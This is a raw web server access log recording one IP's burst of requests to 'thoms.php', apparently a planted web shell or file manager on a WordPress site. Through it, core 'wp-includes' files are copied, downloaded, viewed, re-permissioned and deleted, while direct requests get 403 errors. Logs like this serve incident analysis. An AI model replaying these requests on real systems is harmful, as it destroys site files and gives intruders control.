45.135.193.11 - - [11/Sep/2026:23:28:37 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-rewrite.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-rewrite.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:37 -0400] "GET /thoms.php?dl=class-feed.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?dl=class-feed.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:37 -0400] "GET /thoms.php?chmod=style-engine.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=style-engine.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:37 -0400] "GET /thoms.php?dl=class-wp-user-request.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=class-wp-user-request.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:37 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-block-bindings-registry.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-block-bindings-registry.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:37 -0400] "GET /thoms.php?del=nav-menu.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=nav-menu.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:37 -0400] "GET /thoms.php?chmod=cache.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=cache.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:37 -0400] "GET /bossini.com.tw/wp-includes/class-pop3.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:38 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-dependency.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-dependency.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:38 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass.wp-scripts.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass.wp-scripts.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:38 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-user-meta-session-tokens.php HTTP/1.1" 200 12877 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-user-meta-session-tokens.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:38 -0400] "GET /thoms.php?chmod=widgets.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=widgets.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:38 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-ajax-response.php HTTP/1.1" 200 13967 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-ajax-response.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:38 -0400] "GET /thoms.php?chmod=class-wp-customize-nav-menus.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11543 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-nav-menus.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:38 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes%2Fjs HTTP/1.1" 200 30807 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes%2Fjs" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:38 -0400] "GET /thoms.php?del=ID3&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59160 "http://163.245.207.76:443/thoms.php?del=ID3&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:38 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fblock-supports&p= HTTP/1.1" 200 12327 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fblock-supports&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:38 -0400] "GET /thoms.php?chmod=category.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=category.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:38 -0400] "GET /thoms.php?dl=class-wp-paused-extensions-storage.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59166 "http://163.245.207.76:443/thoms.php?dl=class-wp-paused-extensions-storage.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:39 -0400] "GET /thoms.php?dl=class-wp-roles.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=class-wp-roles.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:39 -0400] "GET /thoms.php?del=class-wp-scripts.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59158 "http://163.245.207.76:443/thoms.php?del=class-wp-scripts.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:39 -0400] "GET /thoms.php?dl=class-wp-scripts.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=class-wp-scripts.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:39 -0400] "GET /bossini.com.tw/wp-includes/class-wp-text-diff-renderer-inline.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:39 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fgeneral-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fgeneral-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:39 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fblock-i18n.json&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11833 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fblock-i18n.json&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:40 -0400] "GET /thoms.php?chmod=PHPMailer&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?chmod=PHPMailer&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:40 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-oembed-controller.php HTTP/1.1" 200 14328 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-oembed-controller.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:40 -0400] "GET /bossini.com.tw/wp-includes/class-wp-script-modules.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:40 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-cookie-service.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-cookie-service.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:40 -0400] "GET /thoms.php?del=build&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59199 "http://163.245.207.76:443/thoms.php?del=build&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:40 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ferror-protection.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ferror-protection.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:40 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-application-passwords.php HTTP/1.1" 200 15902 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-application-passwords.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:40 -0400] "GET /bossini.com.tw/wp-includes/capabilities.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:40 -0400] "GET /thoms.php?dl=connectors.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=connectors.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:40 -0400] "GET /bossini.com.tw/wp-includes/class-wp-http-requests-hooks.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:40 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-duotone.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-duotone.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:40 -0400] "GET /thoms.php?chmod=class-wp-http-curl.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-curl.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:40 -0400] "GET /bossini.com.tw/wp-includes/post-formats.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:41 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fnav-menu.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fnav-menu.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:41 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=formatting.php HTTP/1.1" 200 100305 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=formatting.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:41 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-meta-query.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-meta-query.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:41 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-network.php HTTP/1.1" 200 16317 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:41 -0400] "GET /thoms.php?chmod=ms-default-constants.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=ms-default-constants.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:41 -0400] "GET /thoms.php?del=class-wp-dependencies.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?del=class-wp-dependencies.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:41 -0400] "GET /bossini.com.tw/wp-includes/cache-compat.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:41 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ftaxonomy.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ftaxonomy.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:41 -0400] "GET /thoms.php?dl=option.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59154 "http://163.245.207.76:443/thoms.php?dl=option.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:41 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-user.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-user.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:41 -0400] "GET /thoms.php?del=class-wp-error.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=class-wp-error.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:41 -0400] "GET /thoms.php?dl=class-wp-post-type.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?dl=class-wp-post-type.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:42 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ffeed-rss2.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ffeed-rss2.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:42 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=load.php HTTP/1.1" 200 30506 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:42 -0400] "GET /bossini.com.tw/wp-includes/block-editor.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:42 -0400] "GET /thoms.php?chmod=registration-functions.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=registration-functions.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:42 -0400] "GET /thoms.php?chmod=theme.json&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=theme.json&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:42 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ftheme-compat&p= HTTP/1.1" 200 12321 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ftheme-compat&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:42 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-xmlrpc-server.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-xmlrpc-server.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:42 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ftemplate-loader.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11897 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ftemplate-loader.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:42 -0400] "GET /thoms.php?del=class-snoopy.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=class-snoopy.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:42 -0400] "GET /thoms.php?del=class-wp-speculation-rules.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=class-wp-speculation-rules.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:43 -0400] "GET /thoms.php?chmod=view-transitions.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=view-transitions.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:43 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=wp-db.php HTTP/1.1" 200 12156 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=wp-db.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:43 -0400] "GET /thoms.php?chmod=certificates&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=certificates&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:43 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=author-template.php HTTP/1.1" 200 18288 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=author-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:43 -0400] "GET /thoms.php?chmod=class-json.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=class-json.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:43 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-smtp.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-smtp.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:43 -0400] "GET /bossini.com.tw/wp-includes/class-wp-http-cookie.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:43 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-navigation-fallback.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-navigation-fallback.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:43 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-tax-query.php HTTP/1.1" 200 18364 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-tax-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
